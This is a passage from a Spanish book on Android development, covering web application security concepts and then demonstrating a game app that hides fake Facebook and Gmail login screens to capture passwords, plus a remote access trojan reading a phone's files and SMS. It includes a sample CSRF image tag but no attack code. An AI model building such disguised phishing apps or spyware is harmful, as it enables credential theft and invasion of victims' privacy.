bien es cierto que algunas partes de la aplicación
móvil pueden requerir de dicha conexión.

Las aplicaciones Moviles nativas pueden acceder a todas las


características del hardware (Contactos, Acelerómetro,
Cámara, etc.) lo que las hace también más rápidas en tareas
tales como animaciones o juegos, dándoles la posibilidad de
tener una experiencia de usuario más sofisticada.
Al finalizar la instalación dispones de un acceso directo para
poder lanzar la aplicación Móvil de una forma fácil y rápida.

Contras de Crear Aplicaciones móviles Nativas:

El usuario deberá actualizar de vez en cuando


la aplicación desde los Marquet places.

179
6.6.-Seguridad dentro las Aplicaciones web

En la actualidad el crecimiento de internet ha impactado


directamente en la seguridad de la información manejada
cotidianamente.
Sitios de comercio electrónico, servicios, bancos e incluso redes
sociales contienen información sensible que en la mayoría de
los casos resulta ser muy importante.

Se puede decir que uno de los puntos más críticos de la


seguridad en Internet son las herramientas que interactúan de
forma directa con los usuarios, en este caso los servidores web.

Es común escuchar sobre fallas en los sistemas de protección


de los servidores más frecuentemente utilizados, por ejemplo,
Apache, NGINX, IIS, etc.
En los lenguajes de programación en que son escritas las
aplicaciones. Sin embargo, la mayoría de los problemas
detectados en servicios web no son provocados por fallas de
ninguna de estas partes, si no que los problemas se generan
por malas prácticas de parte de los programadores.

Debemos entender que programar aplicaciones web seguras


no es una tarea fácil, ya que requiere por parte del
desarrollador, no sólo cumplir con el objetivo funcional básico
de la aplicación, sino una concepción general de los riesgos
que puede correr la información procesada por el sistema.

Gran parte de los problemas de seguridad en las aplicaciones


web son causados por la falta de seguimiento en dos rubros
muy importantes de los que depende cualquier aplicación, las
entradas y salidas del sistema.

180
Además de verificar estos 2 parámetros, es importante
considerar la exposición accidental de datos que pueden ser
empleados en un posible ataque sobre el sistema. Los
mensajes de error enviados por el servidor, que suelen ser de
gran utilidad durante el proceso de desarrollo de la
aplicación, pueden ser empleados maliciosamente cuando
siguen apareciendo en un entorno de producción, por lo que
es necesario deshabilitar todos estos mensajes y editar
algunos otros (como los que se envían cuando el servidor no
encuentra algún archivo en particular) los cuales también
pueden ser utilizados por los atacantes para obtener
información sobre nuestro sistema.

Si bien la usabilidad y la seguridad en una aplicación web no


son excluyentes una de la otra, alguna medida tomada para
incrementar la seguridad con frecuencia afecta la usabilidad.

Normalmente siempre se debe pensar en las maneras en que


usuarios ilegítimos nos pueden atacar y la facilidad de uso para
los usuarios legítimos.

Es conveniente emplear medidas de seguridad que sean


transparentes a los usuarios y que no resulten engorrosas en su
empleo.

Por ejemplo, el uso de un login que solicita el nombre de


usuario y contraseña, permite controlar el acceso de los
usuarios hacia secciones restringidas de la aplicación.

181
Este paso adicional, es una característica que impacta en la
rapidez de acceso a la información por parte del usuario, pero
que proporciona un elemento adicional de protección.

Conocer de dónde vienen los datos y hacia dónde van.

En muchas ocasiones lograr esto puede ser complicado,


especialmente sin un conocimiento profundo de cómo
funcionan las aplicaciones web.

En las aplicaciones web, existen maneras de distinguir los


orígenes de los datos y poder así reconocer cuando los datos
pueden ser dignos de confianza y cuando no.

Normalmente existen arreglos globales en la aplicación (por


ejemplo, en PHP los arreglos $_GET, $_POST,
$_COOKIE y $_SESSION entre otros) que sirven para identificar
de forma clara las entradas proporcionadas por el usuario.

Si esto lo combinamos con una convención estricta para el


nombrado de las variables podemos tener un control sobre el
origen de los datos usados en el código.

182
Además de entender los orígenes de la información se debe
dar la misma importancia a entender cuáles son las salidas que
tiene la aplicación y hacia a donde se devuelven los
resultados.

El filtrado es una de las piedras angulares de la seguridad en


aplicaciones web. Es el proceso por el cual se prueba la validez
de los datos.

Si nos aseguramos que los datos son filtrados apropiadamente


al entrar, podemos eliminar el riesgo de que datos
contaminados sean usados para provocar funcionamientos no
deseados en la aplicación.

Existen muchos puntos de vista diferentes sobre cómo realizar


el filtrado o proceso de limpieza.

Lo que usualmente se recomienda es ver al filtrado como un


proceso de inspección, no debemos tratar de corregir los
datos, es mejor forzar a los usuarios a jugar con las reglas
válidas.

Al usar listas blancas asumimos que los datos son inválidos a


menos que prueben ser validos al encontrarse patrones
coincidentes.

Una limitante de usar este punto de vista es considerar inválidos


datos que debieron considerarse válidos pero que no fueron
tomados en cuenta patrones similares al construir la lista
blanca.

Si llegamos a utilizar algún framework se debe tener especial


cuidado, ya que estos brindan tantas comodidades que
muchos desarrolladores los utilizan.

Es importante notar que en los lenguajes de programación


existen una buena cantidad de filtros, pero evidentemente
estos no llegan a cubrir todas las necesidades que puede tener
un desarrollador.

183
En este caso, se llegan a utilizar funciones creadas y adaptadas
a nuestras necesidades a modo de filtro especial, en la
mayoría de estos casos es donde se puede encontrar el uso de
expresiones regulares.

A continuación, tenemos un ejemplo en PHP de


variables GET mediante una función la cual valida que
únicamente sean números enteros
(FILTER_SANITAZE_NUMBER_INT) y no contengan
etiquetas HTML (strip_tags).

Una vez concluido el paso del filtrado solo resta usar


convenciones apropiadas en el nombramiento de las
variables para poder distinguir las que ya han sido
filtradas.

Otro punto importante de la seguridad es el proceso de


escapado y su contraparte para codificar o decodificar
caracteres especiales de tal forma que su significado original
sea preservado.

Si llegamos a utilizar una codificación en particular es necesario


conocer los caracteres reservados los cuales serán necesarios
escapar.

El proceso de escapado debe estar compuesto a su vez por


los siguientes pasos:

Identificar las salidas.


Escapar las salidas.
Distinguir entre datos escapados y no escapados.

El proceso de escapado debe adecuarse al tipo de salida de


que se trate (si es al cliente, a la base de datos, etc).

184
Para la mayoría de los destinatarios, existen funciones nativas
en los lenguajes de programación para esta finalidad.

En alguno de los casos como podría ser el de base de datos es


importante incluso observar la codificación en la que son
enviados.

Ataques URL de tipo semántico:

Este tipo de ataques involucran a un usuario modificando la


URL a modo de descubrir acciones a realizar que originalmente
no están planeadas para ser manejadas correctamente por el
servidor.

La implementación de cualquier formulario debe contemplar


validaciones necesarias para evitar esas acciones y se deben
realizar adecuaciones de acuerdo a nuestras entradas, un
ejemplo de formulario de login con campos de usuario y
contraseña.

En el ejemplo anterior los parámetros, que son enviados


con el método GET, se agregan directamente en la URL,
lo que produce que atacantes inexpertos puedan
utilizarlos, ya que son solo un poco más fáciles de
capturar y modificar que los enviados de forma oculta
desde el navegador (POST). Un ejemplo del envío por
GET.

185
Ataques de Cross-Site Request Forgery:

Este tipo de ataque permite al atacante enviar peticiones HTTP


a voluntad desde la máquina de la víctima.

Es difícil determinar cuándo una petición HTML se ha originado


por un ataque de este tipo.

Cuando un atacante conoce el formato que debe tener una


URL para lograr la ejecución de una acción en el sistema, ha
logrado encontrar la posibilidad de explotar este tipo de
ataques.

Ahora lo que necesita el atacante es simplemente hacer que


una víctima visite la URL.

Un recurso que se utiliza comúnmente para realizar este tipo de


ataques suele tener embebida la petición en una imagen.

En este caso el atacante sólo necesita crear alguna etiqueta


HTML del siguiente tipo:

<img src="http://ejemplo.org/compra.php-
param=valor&param2=valor" />

Existen acciones que podemos tomar para contrarrestar


este tipo de ataques, una de estas es preferir el método
POST para el procesamiento de formas en lugar del GET,
otra posibilidad es solicitar confirmación por parte del
solicitante antes de realizar los procesos (a costa de
reducir la usabilidad en la aplicación).

186
Peticiones HTTP falsificadas:

Un ataque más sofisticado que el anterior es enviar peticiones


falsas empleando herramientas especiales para este propósito.

Para ello, se emplean herramientas de línea de comandos o


plugins agregados a los navegadores, con estos se pone a la
escucha de los servicios web que típicamente se conectan a
través del puerto 80.

En el siguiente ejemplo podemos observar los campos que


pueden modificarse con Tamper Data.

En realidad, un atacante puede confeccionar a gusto sus


peticiones HTTP, la fortaleza de nuestro sistema será medible
por su capacidad de detectar que peticiones recibidas
deben ser escuchadas y procesadas de acuerdo a los
parámetros y valores que se vayan a recibir.

187
SQL Inyección:

La inyección de código SQL es la vulnerabilidad número uno


en el top de OWASP.
Para que exista una vulnerabilidad de SQL Inyección se
requieren dos fallas por parte del programador:

Fallas en el filtrado de los datos.


Fallas en el escapado de los datos al enviarlos a la
base de datos (escapado de salida).

Ninguno de estos pasos cruciales debe ser omitido, y los


dos pasos requieren especial atención para poder
minimizar los errores.
Afortunadamente los ataques de SQL Inyección son
fácilmente evitables, mientras filtremos y escapemos las
salidas.

Páginas privadas y los sistemas de autenticación:

La autenticación consiste en verificar la identidad de un


usuario. Comúnmente el procedimiento involucra un nombre
de usuario y una contraseña a revisar.

188
Muchas aplicaciones tienen recursos que son accesibles sólo
para los usuarios autenticados, así como recursos totalmente
públicos.

Ataques de fuerza bruta:

Este tipo de ataque es un método de ensayo y error utilizado


para obtener información de una contraseña, clave o número
de identificación personal, entre otros.

Funciona mediante la generación de un gran número de


intentos consecutivos para el valor de los datos deseados. Un
ataque de este tipo agota todas las posibilidades sin
preocuparse por cuales opciones tienen mayor probabilidad
de funcionar.

En los términos del control de acceso, generalmente


encontramos al atacante intentando ingresar mediante un
gran número de pruebas.

En algunos casos el atacante puede conocer nombres de


usuario válidos y la contraseña es la única parte que se trata
de adivinar.

Espionaje de contraseñas:
Cuando un atacante tiene los medios para analizar el
tráfico entre los usuarios y el servidor de la aplicación,
debemos preocuparnos por la exposición que pueden
tener los datos en el trayecto, sobre todo cuando se
trata de credenciales de acceso.

Una herramienta muy útil para este caso es WireShark.

189
La seguridad en aplicaciones Web involucra principalmente al
desarrollador, aunque con gran frecuencia se encuentran
defectos que pueden ser aprovechados por atacantes en las
tecnologías en que se basan los sistemas web (Sistemas
Operativos, Servidores Web, Servidor de Base de Datos, etc.) la
atención principal debe dirigirse a los defectos propios al
desarrollo nuestras aplicaciones.

Todo programador debe estar consciente que el manejo de


las peticiones, para aceptarlas o rechazarlas, deben estar los
datos o variables recibidas no cumplan con las características
esperadas o predefinidas. Todas las entradas del sistema
deben pasar por el filtrado de los datos contenidos para
confirmar su usabilidad. Además, para el programador debe
ser claro y fácil de identificar cuando una variable ya ha sido
sometida al proceso de limpieza, de esta forma evitaremos
tener que confiar en la memorización o tener que hacer un
mapa de los procesos ejecutados por cada línea de código
ejecutada de manera previa.

190
6.7.-Demostración de la Aplicación
Primero ejecutamos el emulador y vamos a nuestra
aplicación y no va aparecer una ventana como esta:

Ahora para aplicar el vector de ataque de Spoofing vamos a


darle a la parte de registro, hay que recordar que en esta
parte nosotros tenemos dos plantillas una de Facebook y una
de Gmail.

191
Ese es el primer Scam ahora vamos a cerrar la aplicación y
poner el Scam de Facebook:

Ahí tenemos los ejemplos de las plantillas que realizamos


ahora vemos en donde se guardaron los correos y las
contraseñas:

Ya comprobamos las dos platillas y su funcionalidad, esto es el


primer vector de ataque por el método de Spoofing.

192
Ahora una vez que terminemos el registro continuará el juego
y nos mandará al síguete ventana que ya programamos con
anterioridad. En el primer intento nos vamos a equivocar para
ver la opción de los intentos:

Michael

Tienes 3 intentos

Como podemos ver en el juego la primera imagen aleatoria


que me salió fue la de Raúl, puse el dato erróneo para ver
como aplicaba la opción que programamos de los intentos
una vez que nos equivocamos nos parecerá que ya solo
tenemos 2 intentos:

193
Raúl

Tienes 2 intentos

Ya que pusimos el dato correcto vamos a ver qué es lo que


pasa:

Generando en 2

Una vez que hemos acertado con el personaje nos va


aparecer su imagen sin ser editada y abajo nos parecerá un
mensaje que dice generando en 3, 2,1, que también fue la
opción que programamos para que nos saliera una imagen
aleatoria vamos a realizar otro ejemplo con otro personaje.

194
Mike

Tienes 3 intentos

Ahora el personaje que nos salió fue Miguel en esta ocasión


vamos a poner el resultado a la primera sin ocupar los
intentos:

Generando en 1

Por último, vamos ver el último caso del juego cuando nos
acabamos los 3 intentos, vamos a generar otra imagen.

195
Nicole

Tienes 3 intentos

Kevin

Tienes 2 intentos

Robert

Tienes 1 intentos

196
Ya que generamos los 3 intentos de prueba nos va salir la
imagen del personaje que es y nos va a mandar a la venta
principal:

197
Hasta hora ya hemos visto el vector de ataque por medio de
Spoofing el funcionamiento del juego y ahora vamos a ver el
2 vector de ataque que en este caso será un rat, como ya
vimos la instalación vamos ir directamente las opciones de
uso con las que disponemos:

En este caso yo ejecutare la opción de administración de


archivo para ver que archivos tiene:

198
Hay ya entramos al administrador de archivos ahora vamos a
ver videos y documentos, por ejemplo:

199
Ahora vamos al registro de SMS, mensajes de texto:

Por cuestiones de privacidad hemos senderado la imagen,


pero hay tenemos otro ejemplo, y como podemos la
funcionalidad estable de rat, es ejecutable perfectamente.

200
Hemos finalizado este libro, recopilando todo lo visto,
empezamos desde los conceptos más básicos, creamos
nuestra interfaz desde cero, implementamos un emulador,
vimos la importancia del uso de botones, etiquetas y platillas,
realizamos el uso de animaciones para mejorar el aspecto de
nuestra aplicación móvil, considero que Android en un
sistema operativo de gran ayuda, a su vez reconozco que no
es un sistema seguro, ya que pudimos implementar 2 vectores
de ataque uno fue con la creación de nuestro rat y
montando la apk y la otra promedio de las redes sociales, y
por ultimo espero que sea de tu agrado el libro.

201

También podría gustarte